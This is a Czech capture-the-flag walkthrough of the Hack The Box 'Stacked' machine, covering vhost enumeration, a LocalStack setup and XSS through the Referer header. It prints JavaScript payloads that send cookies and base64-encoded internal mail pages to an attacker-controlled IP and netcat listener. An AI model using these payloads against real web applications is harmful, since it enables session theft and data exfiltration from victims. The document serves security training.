Únik z Docker kontejneru přes XSS a RCE na HTB Stacked
Skenování hostitele 10.129.228.28 pomocí nmap odhalilo otevřené porty: 22 (OpenSSH 8.2p1), 80 (Apache 2.4.41) a 2376 (Docker daemon s TLS). Na portu 80 je dostupná doména stacked.htb po přidání záznamu do /etc/hosts. Hlavní stránka obsahuje pole pro e-mail bez viditelného síťového provozu při odeslání.
Prohledávání adresářů gobuster s common.txt nepřineslo výsledky. Přechod k výčtu virtuálních hostů ffuf odhalil subdomains-top1million-5000.txt s filtrem podle slov (-fw 18) — nalezen portfolio.stacked.htb.
gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18
Analýza portfolio.stacked.htb a LocalStack
Stránka portfolio.stacked.htb popisuje společnost Stacked, která využívá LocalStack — lokální emulátor AWS služeb v Docker kontejnerech. Je dostupný docker-compose.yml s předanými porty:
- 443 (HTTPS)
- 4566 (LocalStack API)
- 4571 (pravděpodobně Elasticsearch)
- 8080 (Web UI)
wget http://portfolio.stacked.htb/files/docker-compose.yml
docker compose up
V dolní části stránky je uveden rok vytvoření — potenciální vodítko pro další zneužití.
Detekce a zneužití XSS
Formulář pro odeslání osobních údajů na portfolio.stacked.htb odráží HTML tagy se zprávou "xss detected!". Přímé vložení do těla požadavku na /process.php nefunguje ani s dvojitým URL kódováním.
Testování hlaviček (User-Agent, Origin, Referer) ukázalo zranitelnost v Referer. Payload <script src="http://10.10.16.10/test.js"></script> je úspěšně proveden:
let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false);
req1.send();
Cookie jsou chráněny HttpOnly. Změna na document.location odhalila origin: http://mail.stacked.htb/read-mail.php?id=2.
CSRF útok přes XSS pro přístup k mail.stacked.htb
Nová subdoména mail.stacked.htb přesměrovává externí požadavky. Prostřednictvím XSS oběti implementujeme proxy:
- Vložíme
<script src="http://10.10.16.10/exploit.js"></script>. - Skript požádá o interní stránku, zakóduje do base64 a odešle na attacker:9001.
let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){
if (this.readyState == 4){
data = btoa(req1.response);
let req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
req2.send();
}
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
req1.send();
nc -nlvp 9001
echo -n "PD9..." | base64 -d > index.html
Doručená pošta obsahuje e-mail od Jeremyho Tainta o spuštění S3 instance (id=1). CSS/obrázky se nenačítají kvůli síťovým omezením.
Co je důležité
- XSS v hlavičce Referer vede k provedení JS v kontextu oběti.
- Base64 proxy přes XMLHttpRequest obchází síťová omezení Dockeru.
- LocalStack docker-compose odhaluje interní porty a architekturu.
- Výčet vhostů je kritický při neúspěšném dirbustingu.
- Filtr ffuf podle slov (-fw) řeší problém dynamického obsahu chyb.
— Editorial Team
Zatím žádné komentáře.